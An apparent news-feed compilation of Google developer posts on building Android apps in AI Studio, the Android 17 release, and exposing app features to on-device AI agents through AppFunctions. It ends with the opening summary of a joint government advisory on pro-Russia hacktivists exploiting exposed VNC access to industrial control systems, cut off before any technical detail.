Use the embedded Android Emulator to create and edit Android Apps right in the web browser

2. Install instantly: Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).

Install the app on your Android device

3. Streamlined Publish to Google Play: Using your Google Play developer account, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio.

Publish the app to an internal test track in Google Play

Seamless app development handoff

As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to Android Studio by downloading a ZIP file or exporting it directly to GitHub.

Download zip file of Android app project files

When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend Gemini in Android Studio, which features models designed with Android in mind, or Antigravity, which integrates Android CLI commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.

Start building today

To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:

Personal utilities and simple social apps: You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.
Hardware-enabled experiences: Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.
AI-powered experiences: You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.

What’s Next?

We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:

Managing Google Play Test Tracks: Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio.
Firebase integrations: Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.

Head over to Google AI Studio right now to start building. Here is some inspiration to get you started…

Turn your Google Pixel Watch into an aviation assistant

Prompt:

Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.

Interactive Harmonium app on Google Pixel Fold
Prompt: Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.

An Android app for guitarists to become better musicians by jamming to backing tracks

Prompt:

Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.

The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.

Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.

We are looking forward to seeing what you build next!

Explore this announcement and all Google I/O 2026 updates on io.google.

Android 17 is here

Sat, 25 Jul 2026 10:15:36 +0200

Posted by Matthew McCullough, VP of Product Management, Android Developer

Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet

class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking.

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.

The R8 Configuration Analyzer

LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.

val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods. The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStaticField methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.

val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}

Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

WebOTP Format: Delayed for all apps that are not the intended recipient (domain mismatch).
Standard SMS OTP: Delayed for all apps targeting SDK 37+.
Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the SMS Retriever or SMS User Consent APIs.

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.

Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints on large screens.
Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.
Enable CT by default: Certificate transparency (CT) is enabled by default. (On Android 16, CT is available but apps had to opt in.)
Local network protections: Apps targeting SDK 37 or higher have local network access blocked by default. Switch to using privacy preserving pickers if possible, and use the new ACCESS_LOCAL_NETWORKpermission for broad, persistent access.
Background audio hardening: Starting in Android 17, the audio framework enforces restrictions on background audio interactions including audio playback, audio focus requests, and volume change APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the updated guidance.
NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare FEATURE_NEURAL_PROCESSING_UNIT in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the LiteRT NPU delegate, vendor-specific SDKs, as well as the deprecated NNAPI.

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.

For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.

Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions

Sat, 25 Jul 2026 10:15:27 +0200

Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.

Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking.

In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, JetPacker, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.

Designing AI-ready features: making choices that matter for your users

To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.

Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the addExpense and getExpenses features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.

We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing getItinerary and addItineraryEvent to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.

Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database using the addVoiceNote AppFunction.

Android MCP powered by AppFunctions

This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.

Android AppFunctions is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.

Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.

Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.

When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.

How we accelerated development with Android skills

To streamline the integration process, we leveraged the AppFunctions development skill. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary Service entry points, refining our KDoc documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

Providing app features to the intelligence system

Enough with the theory, let's dive into the implementation.

Configuration and dependency setup

We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.

implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")

Modeling custom data types

Any custom object exchanged with the agent must be annotated with @AppFunctionSerializable. In our TripSerializable.kt file, we define our trip data model:

@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List,
)

Providing features using the @AppFunction annotation

Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with @AppFunction. We can view this in searchTrip:

/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List {
    return withContext(Dispatchers.IO) {
    // implementation
}

Since AppFunctions run on the UI thread by default, we use withContext(Dispatchers.IO) to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.

The service entry point and Hilt integration

To register these features with the intelligence system, we create an abstract base class that extends AppFunctionService. We annotate it with @AppFunctionServiceEntryPoint:

@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}

During compilation, KSP generates the final concrete service subclass, JetPackerAppFunctionService, as declared with the serviceName parameter. We also register app_metadata.xml in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.

Testing and verifying your AppFunctions

Once implemented, you should verify that your AppFunctions are registered and working correctly.

Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running adb shell cmd app_function list-app-functions displays all registered functions for your package. You can then execute a specific function and test its database integration by running adb shell cmd app_function execute-app-function while passing a raw JSON parameters string.

Instead of these ADB commands, you can also use the AppFunctions Testing Agent to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.

Wrapping it up

When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..

First, the AppFunctions development skill is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.

Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!

Learn more

Check out the other parts of this blog post series:
Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4 (this post!): System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure

Sat, 25 Jul 2026 09:15:46 +0200

Summary

Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.

FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

U.S. Department of Energy (DOE)
U.S. Environmental Protection Agency (EPA)
U.S. Department of Defense Cyber Crime Center (DC3)
Europol European Cybercrime Centre (EC3)
EUROJUST – European Union Agency for Criminal Justice Cooperation
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Canadian Centre for Cyber Security (Cyber Centre)
Canadian Security Intelligence Service (CSIS)
Czech Republic Military Intelligence (VZ)
Czech Republic National Cyber and Information Security Agency (NÚKIB)
Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
French National Cybercrime Unit – Gendarmerie Nationale (UNC)
French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
German Federal Office for Information Security (BSI)
Italian State Police (PS)
Latvian State Police (VP)
Lithuanian Criminal Police Bureau (LKPB)
New Zealand National Cyber Security Centre (NCSC-NZ)
Romanian National Police (PR)
Spanish Civil Guard (GC)
Spanish National Police (CNP)
Swedish Polisen (SC3)
United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.

The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.

Download the PDF version of this report:

Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure (PDF, 1.53 MB )

Background and Development of Pro-Russia Hacktivist Groups

Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.

Cyber Army of Russia Reborn

